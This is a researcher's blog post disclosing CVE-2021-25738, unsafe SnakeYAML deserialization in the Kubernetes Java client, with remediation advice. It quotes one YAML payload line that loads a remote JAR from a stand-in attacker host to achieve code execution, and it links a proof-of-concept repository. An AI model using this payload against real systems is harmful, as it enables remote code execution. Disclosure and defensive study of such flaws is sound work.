CVE-2021-25738

Sat, Aug 7, 2021 3-minute read

In April 2021 I found a vulnerability in the Kubernetes Java Client. The Java client is using SnakeYAML, which is a very popular Java library to serialize and deserialize YAML. SnakeYAML has a feature to (de)serialize Java objects which can be used to execute arbitrary code. This feature is enabled by default.

My finding in the Kubernetes Java client was registered by Kubernetes as CVE and the report on HackerOne got disclosed today. I want to explain a bit more about this vulnerability.

The CVE has a medium severity (6.7), CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H.
You can find the official Kubernetes announcement here: https://groups.google.com/g/kubernetes-security-announce/c/K_pOK2WbAJk.
The HackerOne report can be found here: https://hackerone.com/reports/1167773.

SnakeYAML

SnakeYAML is a very popular and commonly used Java library to serialize and deserialize YAML. It’s a dependency of a lot of other libraries, frameworks and applications. The library is a Java variant of the popular PyYAML library in Python and most of the features are the same. So is the feature to write objects to YAML and load them back into the application. This feature is enabled by default. To disable this in SnakeYAML, the developer has to pass a extra argument to the new YAML() statement so the SafeConstructor implementation is used.

Exploit it

I created a GitHub repository which contains a proof-of-concept exploit which can be used for unsafe SnakeYAML implementations. You can find it here: https://github.com/jordyv/poc-snakeyaml.

The exploit is using the javax.script.ScriptEngineManager class which is most of the time part of the classloader in Java. The ScriptEngineManager constructor accepts a ClassLoader which is used by the class to load the external script. To exploit the unsafe deserialization vulnerability in SnakeYAML an attacker can add the following YAML line anywhere in the YAML input:

some_var: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://attacker-server.tld/poc.jar"]]]]

Once SnakeYAML deserializes the YAML, this will create an instance of the ScriptEngineManager class with a URLClassLoader instance passed to the constructor. This URLClassLoader points out to a JAR hosted somewhere on the internet. The ScriptEngineManager searches for the META-INF/services/javax.script.ScriptEngineFactory file inside this JAR. This file a class name which will be used by the ScriptEngineManager. The ScriptEngineManager will create an instance of the class mentioned in the file. In my PoC you can find a class which implements the ScriptEngineFactory interface. The constructor of the class contains some malicious code, in this case a Runtime.getRuntime().exec statement, which get executed directly when the ScriptEngineManager is initiated.

Remediation

To make sure SnakeYAML won’t execute any arbitrary code you have to make sure it won’t initiate any untrusted Java objects during deserialization of the user’s YAML input. SnakeYAML provides a SafeConstructor which configures the YAML loader to do prevent this. The following Java code can be used:

Yaml yaml = new Yaml(new SafeConstructor());

So if you’re using the Kubernetes Java client in your project, make sure you upgrade to at least version 11.0.1 or 12.0.0. If you’re using SnakeYAML in your project, check your implementation and make sure you’re using the SafeConstructor when you deal with YAML input.